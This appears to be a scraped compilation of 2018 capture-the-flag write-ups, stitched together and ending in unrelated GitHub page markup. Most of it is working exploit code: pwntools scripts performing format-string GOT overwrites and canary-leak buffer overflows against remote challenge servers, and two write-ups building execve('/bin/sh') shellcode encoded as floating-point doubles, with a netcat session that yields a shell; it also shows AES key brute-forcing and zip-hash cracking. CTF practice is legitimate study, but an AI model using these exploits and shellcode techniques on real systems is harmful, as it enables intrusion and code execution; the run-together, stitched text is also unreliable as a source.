```pythonfrom pwn import *from sys import argv context(os='linux', arch='amd64', log_level='info') if len(argv) > 1: if argv[1][0] == 'r': r = remote('146.185.132.36', '12431') elif argv[1][0] == 'l': r = remote('localhost', 6000)else: r = process('./greg_lestrade') def fsa64(offset, over_write_addr): payload = b"" tmp = [j for j in p64(over_write_addr)] payload += "%{}c%{}$hhn".format(tmp[0] + (0x100 - len(payload)), offset).encode() offset += 1 payload += "%{}c%{}$hhn".format(tmp[1] + (0x100 - tmp[0]), offset).encode() offset += 1 payload += "%{}c%{}$hhn".format(tmp[2] + (0x100 - tmp[1]), offset).encode() offset += 1 payload += "%{}c%{}$hhn".format(tmp[3] + (0x100 - tmp[2]), offset).encode() offset += 1 payload += "%{}c%{}$hhn".format(tmp[4] + (0x100 - tmp[3]), offset).encode() offset += 1 payload += "%{}c%{}$hhn".format(tmp[5] + (0x100 - tmp[4]), offset).encode() offset += 1 payload += "%{}c%{}$hhn".format(tmp[6] + (0x100 - tmp[5]), offset).encode() offset += 1 payload += "%{}c%{}$hhn".format(tmp[7] + (0x100 - tmp[6]), offset).encode() offset += 1 return payload def main(): puts_got = 0x0602020 win_fun = 0x40087a passwd = "7h15_15_v3ry_53cr37_1_7h1nk" # fmtarg = 58 payload = b"a" * 256 payload += fsa64(58, win_fun) payload += b"x" * (400 - len(payload)) payload += p64(puts_got) payload += p64(puts_got+1) payload += p64(puts_got+2) payload += p64(puts_got+3) payload += p64(puts_got+4) payload += p64(puts_got+5) payload += p64(puts_got+6) payload += p64(puts_got+7) r.sendlineafter('Credential :', passwd) r.sendlineafter('1) admin action', "1") r.sendlineafter('command :', payload) print(r.recvall()) if __name__ == '__main__': main()```
Not really a write-up, but the original source code, tools used to built the challenge and the ... DSP simulator ;) [https://github.com/GreHack/CTF-challs/tree/master/2018/Reverse/300%20-%20Forgotten_Hardware](https://github.com/GreHack/CTF-challs/tree/master/2018/Reverse/300%20-%20Forgotten_Hardware)
Write-up by @doegox and @PapaZours of Quarklabs. Many thanks to you for the job and GG for solving the first 5 levels ! Level1: [http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_1_.2850_points.29](http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_1_.2850_points.29)
```pythonfrom pwn import *from sys import argv if argv[1] == 'r': r = remote('146.185.132.36', '19153')elif argv[1] == 'l': r = remote('localhost', '6000')else: r = process('./mary_morton') win = p64(0x4008de)log.info("FSB")r.sendlineafter('3. Exit the battle \n', b'2')r.sendline('%23$p')pause(3)canary = r.recv()canary = int(re.search(b'0x[0-9a-f]{16}', canary).group(), 16)log.info("canary ==> {0:x}".format(canary)) log.info("BOF")r.sendline(b'1')payload = b"A" * 136payload += p64(canary)payload += b"W" * 8payload += win * 4 r.sendline(payload)print(r.recv())print(r.recv())```
Summary: Filter function of stream cipher had linear annihilator. Use this to set up a linear system of equations; solving this results in four possible seeds, one is acsii only and the flag.
# Who drew on my program? ![alt text](images/title.png) ## Challenge Description ![alt text](images/challengedescription.png) The goal of the challenge is to calculate the IV. The challenge shows how keeping the IV a secret does not protect against attacks. As it's easy to calculate using a known plaintext attack. The challenge gives us 14 bytes out of a 16 byte key and 29 bytes out of a 32 byte plaintext. ## The attack![alt text](images/wiki_CBC_decrypt.png) By looking at the AES CBC decryption routine we see that the IV is used in the block-round when XORing the first block of the ciphertext with the first block of the plaintext. The basic premise of the attack is to get the first block of the ciphertext by XORing the decrypted second block of the ciphertext with the second block of the plaintext. As we don't have the full key and only parts of the first ciphertext we have to bruteforce the last two bytes of the key until we find a match with the known ciphertext bytes, either through encryption or decryption. When the full key is found we also have the first block of the ciphertext. To get the original IV, we simply XOR the first block of the plaintext first block of the ciphertext. The code for the python script which solved the challenge is found below. ``` python#!/usr/bin/python from Crypto.Cipher import AESimport binascii, sys # Key = "9aF738g9AkI112"+XX# IV = ? # The last 16 bytes of the blocksizepartly_msg = binascii.unhexlify("808e200a54806b0e94fb9633db9d67f0") plaintext = "The message is protected by AES!" def encrypt(message, passphrase): aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.encrypt(message) def decrypt(message, key): aes = AES.new(key) return aes.decrypt(message) def xor(arr1, arr2): dst = [] for i in range(len(arr1)): dst.append(chr(ord(str(arr1[i])) ^ ord(str(arr2[i])))) return ''.join(dst) # First ciphertext block (IV1) = decrypt(ciphertext[16:]) ^ plaintext[16:] # Creating all possible keyskey = "9aF738g9AkI112"possible_key_list = [] for i in range(127): letter = chr(i) for j in range(127): letter2 = chr(j) possible_key_list.append(key+letter+letter2) CT1 = partly_msgPT1 = plaintext[16:] key = ""IV1 = ""# Bruteforcing the key until we find the correct ciphertextfor i in possible_key_list: iv1 = xor(decrypt(CT1, i), PT1) if binascii.hexlify(iv1[0]) == "9e": if binascii.hexlify(iv1[-1]) == "6a": IV1 = iv1 key = i #IV = decrypt(IV1) ^ plaintext[:16]IV = xor(decrypt(IV1, key), plaintext[:16])print IV # RITSEC{b4dcbc#g} ```
Steps----- 1. Open pcap file in wireshark.2. Notice the communication between src and destination. Select any packet.3. Right click > Follow > TCP Stream.4. Paste data into tcpstr1.txt file.5. Run `python sol.py`
Steps----- 1. Open data.pcap file in wireshark.2. Add a new column for 'Leftover Capture Data'.3. Wireshark > File > Export Packet Dissections > As Plain Text - save it to data.txt file.4. Extract data from the 'Leftover Capture Data' column in data.txt file.5. Use columns 1 and 3 of the data in data.txt and refer to pg 53 in http://www.usb.org/developers/hidpage/Hut1_12v2.pdf to decode the data.6. If 1st column is '20', use the 2nd option in 'Usage Name' column of 'Table 12: Keyboard/Keypad page' on pg 53, otherwise use the 1st option for decoding.7. Flag is: flag{pr355_0nwards_deafcb32}
* Extract embedded zip (binwalk) --> Extract hash (zip2john) --> Crack hash with john + rockyou wordlist [writeup](https://github.com/Srinivas11789/SecurityNuggets/tree/master/captureTheFlag/Forensics/rit2018/burnCandleOnBothEnds)
> doubles>> 635>> nc doubles.2018.ctf.kaspersky.com 10001> > [doubles](https://0xd13a.github.io/ctfs/kasp2018/dubles/doubles) This is a pwning challenge on a x64 Linux executable: ```$ file doublesdoubles: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e5511e0c31ccc63eda7398cbbfdf1d479f4854cd, not stripped``` The file is pretty small and disassembly reveals the following steps: - Allocate ```0x1000``` bytes of memory with read/write/execute permissions- Ask user for a number of inputs ```n``` (between 0 and 6) and then read ```n``` double values from input- Put each 8-byte double value sequentially at the beginning of allocated memory area- Put byte sequence ```31C0909090909090``` at offset ```0x70``` in the allocated memory. It decompiles to the following: ```0: 31 c0 xor eax,eax2: 90 nop3: 90 nop4: 90 nop5: 90 nop6: 90 nop7: 90 nop ```- Put the sum of all entered doubles divided by ```n``` at offset ```0x78``` in the allocated memory area- Zero out all registers and jump to offset ```0x70``` in the allocated memory: ```4008C1 31 DB xor ebx, ebx4008C3 31 C9 xor ecx, ecx4008C5 31 D2 xor edx, edx4008C7 31 FF xor edi, edi4008C9 31 F6 xor esi, esi4008CB 31 ED xor ebp, ebp4008CD 31 E4 xor esp, esp4008CF 31 E4 xor esp, esp4008D1 4D 31 C0 xor r8, r84008D4 4D 31 C9 xor r9, r94008D7 4D 31 D2 xor r10, r104008DA 4D 31 DB xor r11, r114008DD 4D 31 E4 xor r12, r124008E0 4D 31 ED xor r13, r134008E3 4D 31 F6 xor r14, r144008E6 4D 31 FF xor r15, r154008E9 FF E0 jmp rax``` So the intent is fairly clear now - accept a bunch of double values from the user that, when stored, become the shellcode that exploits the application. Unfortunately there are several complications here: - Not every byte sequence represents a valid double value, so we will have to play with the commands in our shellcode to make them combine into valid doubles- Before control is transferred to the shellcode all registers are cleared, including the ```esp``` - and we need valid stack for the shellcode to work- The bytes at offset ```0x78``` are composed from all other double values, and at the same time they have to become a ```jmp``` to our shellcode Max possible bytes we can input is ```6*8 = 48``` which is plenty for a x64 shellcode - we will use a [common short variant](https://www.exploit-db.com/exploits/36858/) for our purposes. We have to add additional commands into the code so that it could be represented as valid doubles, so after some experimentation we arrive at the following working example that fits into 5 8-byte sequences: ```0: 31 f6 xor esi,esi ; filler code2: 31 f6 xor esi,esi ; filler code4: 48 8d 25 ff 05 00 00 lea rsp,[rip+0x5ff] ; allocate stack about mid-way through the memory areab: 90 nop ; filler codec: 90 nop ; filler coded: 31 f6 xor esi,esif: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f ; load /bin//sh into rbx16: 2f 73 6819: 56 push rsi1a: 53 push rbx1b: 54 push rsp1c: 5f pop rdi1d: 6a 3b push 0x3b1f: 58 pop rax20: 66 31 c9 xor cx,cx ; filler code23: 31 d2 xor edx,edx25: 0f 05 syscall27: ff .byte 0xff ; filler junk byte``` We can now come up with 6th double that will produce a valid ```jmp``` at offset ```0x78``` when combined with other doubles. For the ```jmp``` to be valid let us try for the following value ```j``` at that location: ```eb869090909090ff```, which decompiles to: ```0: eb 86 jmp 0xffffffffffffff88 ; jump 122 bytes back2: 90 nop3: 90 nop4: 90 nop5: 90 nop6: 90 nop7: ff .byte 0xff ``` Formula for 6th double becomes pretty simple: ```d6 = j*6 - (d1+d2+d3+d4+d5)``` Python's handling of long doubles is not very predictable, so let's write a piece of C code as our PoC: ```c#include <stdio.h>int main(){ char dc1[] = {0x31,0xf6,0x31,0xf6,0x48,0x8d,0x25,0xff}; double d1 = *(double*)dc1; char dc2[] = {0x05,0x00,0x00,0x90,0x90,0x31,0xf6,0x48}; double d2 = *(double*)dc2; double d3 = *(double*)"\xbb\x2f\x62\x69\x6e\x2f\x2f\x73"; double d4 = *(double*)"\x68\x56\x53\x54\x5f\x6a\x3b\x58"; double d5 = *(double*)"\x66\x31\xC9\x31\xd2\x0f\x05\xff"; double j = *(double*)"\xeb\x86\x90\x90\x90\x90\x90\xff"; printf("d1 = %lf\n\nd2 = %lf\n\nd3 = %lf\n\nd4 = %lf\n\nd5 = %lf\n\nj = %lf\n\n",d1,d2,d3,d4,d5,j); printf("sum = %lf\n\nj*6 = %lf\n\nd6 = %lf\n",d1+d2+d3+d4+d5,j*6,j*6-(d1+d2+d3+d4+d5)); return 0;}``` When run we get the following values: ```d1 = -29559091864572820292681211914927464797860470802238602797975133423556597190524648032648549717921251541252207615662565262295374628003076419760662954965978663312650403503266161258034199495885073994787156264246210982573198769108759875107127168181815354450326757138884460293640370406304322547625947123628900352.000000 d2 = 30933380527999897844181710530453929767993344.000000 d3 = 6813905293115760542120164628744098873719246634693038997721476826910022503981551850256229588569116520719267474398463574052616707022645722479718377571242630801186886685030914191052826781635181654745781180865715668825202440012912092967881823496437760.000000 d4 = 1080226375091073528021226343805715536002313604560130468987472238944077983639024984304711725399647812346738966255370240.000000 d5 = -7221728359051669221104524211471986207229634050470487507184666147640458850386807544095578717721216606254177370818620670478590545335985432672572436948742881130607592737182467980735839261026849649608088362430955077272509753119169582149912145378930118483238742739000059656808347887105107420583218873446170624.000000 j = -2908033012275735465345584273188774480244846208973146967303899150349685107885671012220806655752397208130581049387909425120052463248269430708062761141130806637840019732542185668620969062492161721433352994196491003929461564535255972897316734923212121386921972473231415147003098792468167203464949561206583066624.000000 sum = -36780820223624487077457233276399680916744507883912012586103085172445174323934841273506955744035942531102618515978621126447736115486894806568442925613948032798761172162285274355950613767793666176697830754163753971645810152423334738835639832212026736496974596010643116743514017517340043197752018499096543232.000000 j*6 = -17448198073654411544673312179932764596236131605814778011666357129937147208221999550067407516411842133184757863430143369881285501869307056765602824100788801865057744467233476311722268780524422505139042062452079034418421421871583341552143875088728735265997292059360892440068025957461477194315637848274492194816.000000 d6 = -17411417253430787730022521733256301459702771861318859449539907218820221387783610256487360223551207260781094790772872635300876985721018266617717101874188343046140106740644276985024479463753267900046830460511617016789947561785228149097614492108763079785999406930708876608438489354139287899764058539217469308928.000000``` Now armed with these values we can simply paste them in our netcat session and get the flag: ```$ nc -vv doubles.2018.ctf.kaspersky.com 10001Connection to doubles.2018.ctf.kaspersky.com 10001 port [tcp/*] succeeded!n: 6-29559091864572820292681211914927464797860470802238602797975133423556597190524648032648549717921251541252207615662565262295374628003076419760662954965978663312650403503266161258034199495885073994787156264246210982573198769108759875107127168181815354450326757138884460293640370406304322547625947123628900352.00000030933380527999897844181710530453929767993344.0000006813905293115760542120164628744098873719246634693038997721476826910022503981551850256229588569116520719267474398463574052616707022645722479718377571242630801186886685030914191052826781635181654745781180865715668825202440012912092967881823496437760.0000001080226375091073528021226343805715536002313604560130468987472238944077983639024984304711725399647812346738966255370240.000000-7221728359051669221104524211471986207229634050470487507184666147640458850386807544095578717721216606254177370818620670478590545335985432672572436948742881130607592737182467980735839261026849649608088362430955077272509753119169582149912145378930118483238742739000059656808347887105107420583218873446170624.000000-17411417253430787730022521733256301459702771861318859449539907218820221387783610256487360223551207260781094790772872635300876985721018266617717101874188343046140106740644276985024479463753267900046830460511617016789947561785228149097614492108763079785999406930708876608438489354139287899764058539217469308928.000000cat flag.txtKLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh}``` The flag is ```KLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh}```.
## Mr. Green's Weird Website - Web 79: **Description:** While investigating Mr. Green for something completely unrelated, we found this login page. Maybe you can find a way in? **Challenge:** http://18.219.196.70/ **Difficulty:** Easy **Solved by:** Tahar **Solution:** We open up the given URL of the web challenge, we notice a simple login form! From previous experience in CTFs by just trying the credentials **admin:admin** we get a successful Login!! **Flag:** TUCTF{1_4ccu53_mr._6r33n_w17h_7h3_b4d_p455w0rd_1n_7h3_l061n}
Kaspersky Industrial CTF 2018 writeup - doubles=== ### 觀察一如往常的起手式 F5 後,迅速發現這又是個有趣的 shellcode 練習題,把 code 整理一下```cppvoid f(){ double *buf; int v1; unsigned int i; double input_cnt; double total; alarm(0xAu); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); buf = (double *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); if ( !buf ) { fwrite("something is wrong, tell admin\n", 0x1FuLL, 1uLL, stderr); _exit(1); } fwrite("n: ", 3uLL, 1uLL, stdout); v1 = __isoc99_scanf("%u", &input_cnt); _IO_getc(stdin); if ( v1 != 1 ) _exit(2); if ( input_cnt < 7 ) { if ( !input_cnt ) { total = 0.0; input_cnt = 0.0; goto LABEL_10; } } else { input_cnt = 6; } total = 0.0; i = 0; for (int i = 0; i < input_cnt; i++) { scanf("%lf", &buf[i]); _IO_getc(stdin); total += buf[i]; }LABEL_10: buf[14] = -6.828527034440643e-229; // 0x909090909090C031 = xor eax, eax nop nop nop nop nop nop buf[15] = total / input_cnt; JUMPOUT(__CS__, buf + 14); // jmp &buf[14]}```不難看出題目可以讓使用者輸入 n 個 double,其中 0 <= n < 7,將所有輸入的 double 取平均後放到 buf[15],接著 `jmp &buf[14]` 執行預寫好的 shellcode 和剛剛的平均數... ### 想法這題一眼看上去似乎很難操作,最主要的困難是 -- 該怎麼控制輸入的 double 讓他們在被取平均後仍然是一段可以執行的 shellcode,畢竟浮點數常常會出現做完除法後不精確或是輸入時就出現誤差的情況發生,其次是要怎麼在 8 byte 內完成一個 shell。 第二個問題比較容易,做法是想辦法跳回前面輸入的 buffer 上就有最多 6*8 byte 可以使用,而第一個問題卡了我一個小時,直到我赫然發現我可以簡單的確保那些輸入的 double 不會在操作時壞掉,為此必須先了解 IEEE 754 的規範。 以下取自 wiki [IEEE 754](https://zh.wikipedia.org/wiki/IEEE_754) ![](https://i.imgur.com/Qq6La1b.png) 再來下面是從 IEEE 754 格式轉換成小數的方式 有一個很直覺的想法是,如果可以保證我們在操作 double 時就像是在操作 integer,那題目就會被轉換成一個小學數學問題,那要怎麼做呢? 我想到的方法是讓每個輸入的 double 的 exponent 位都是 1023+52 = 1075,因為這樣會使得 中小數點會被向右位移 52 次,也就是這樣做可以保證每個產出的 double 小數點下都為 0 ( 只有 52 位長)。實作的方式就是設定每個 double 的最高位和第二高位依序為`\x43`跟`\x30`,這樣就可以開始 exploit 了。 ### Exploitation exploit 的方式是在輸入時寫入五個包含 shellcode 的 double,彼此之間利用 jmp 跳過 `\x30\x43`,接著用數學計算第六個 double 讓最後的平均值等於所需要的 shellcode 即可。 聽起來很容易,不過實際上限制不少,為了確保每個 double 都是以整數運算以及必要的 jmp 指令,再扣掉最後一個調整用的 double,可使用的 shellcode 空間只有 (8-2-2)*(6+1-1) = 24byte,同時每個指令的大小不能超過 4byte,不過就算限制如此嚴峻,我還是強擠了一個能用的 shellcode 出來XD (當然是各種嘗試失敗之後)```python#!/usr/bin/env python2from pwn import *import struct r = remote('doubles.2018.ctf.kaspersky.com', 10001) context.arch = 'amd64' # \x30\x43 here is to make the exponent of double equal (1023 + 52)# also, 52 is used to ensure every double equal to some integer # adjust rsp to bsssc1 = asm('mov sp, 0x601f') + '\xeb\x82' + '\x30\x43' # read(0, rsp, 0x42) => (rax == 0x42) => xor ah, 0x01 => (rax == 0x142) => execveat(0, rsp, NULL, NULL, 0)sc2 = asm(''' shl rsp, 8 jmp A nop nop A: push 0x42 pop rdx nop jmp B nop nop B: mov rsi, rsp nop jmp C nop nop C: syscall xor edx, edx jmp D nop nop D: xor ah, 0x01 syscall pop rax nop nop''') print repr(sc1)print disasm(sc1)print repr(sc2)print disasm(sc2) sc2 = sc2.replace('\x90\x90','\x30\x43') total = 0.0d = 0.0ans = [] for i in range(len(sc2)/8): d = struct.unpack('d', sc2[i*8:(i+1)*8])[0] ans.append(format(d, '.5f')) total += d # calc 6th double to adjust mean to sc1d = struct.unpack('d', sc1)[0]ans.append(format(d*6 - total, '.5f')) r.sendlineafter('n: ', '6')for s in ans: r.sendline(s) r.send('/bin/sh'.ljust(0x42, '\x00'))r.interactive()```
Write-up by @doegox and @PapaZours of Quarklabs. Many thanks to you for the job and GG for solving the first 5 levels ! They did not solved this INSANE level witch is more dedicated to be solved after the CTF, due to the complexity of the task. But they correctly guess it was a fault injection (in fact it's more a race condition during the boot of the MCU). Level6: [http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_6_.28501_points.29](http://wiki.yobi.be/wiki/GreHack_2018_Writeups#Secret_Keeper_level_6_.28501_points.29)
## Mrs. White's Messy Maids - Web 25: **Description:** Mrs. White's simple website might be hiding some murderous intentions... **Challenge:** http://18.218.152.56/ **Difficulty:** Easy **Solved by:** Tahar **Solution:** We open up the webapp challenge URL, and go directly to the **Source Code** of the Website challenge! We see an important comment saying something about **/Boddy** and that means it is a web directory in the server! Checking the folder will give the flag =) **Flag:** TUCTF{1_4ccu53_Mr5._Wh173_w17h_7h3_c4ndl3571ck_1n_7h3_c0mm3n75}
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>picoctf-2017/broadcast-l3 at master · s-nirali/picoctf-2017 · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="838B:CDCE:CE2E9DB:D3A5658:6412257D" data-pjax-transient="true"/><meta name="html-safe-nonce" content="0ee3b9f43c217d07c4f94c283e25803df9d4308516bd2f4a6d59e59933de1eba" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4MzhCOkNEQ0U6Q0UyRTlEQjpEM0E1NjU4OjY0MTIyNTdEIiwidmlzaXRvcl9pZCI6IjEzMDU0NTgyODM0MTU0Nzk2NzciLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="65c9ed9ff42a2674d8d9b815fa7b7112f643d3638c36db8f46f488fc1acac88d" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:106162393" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> 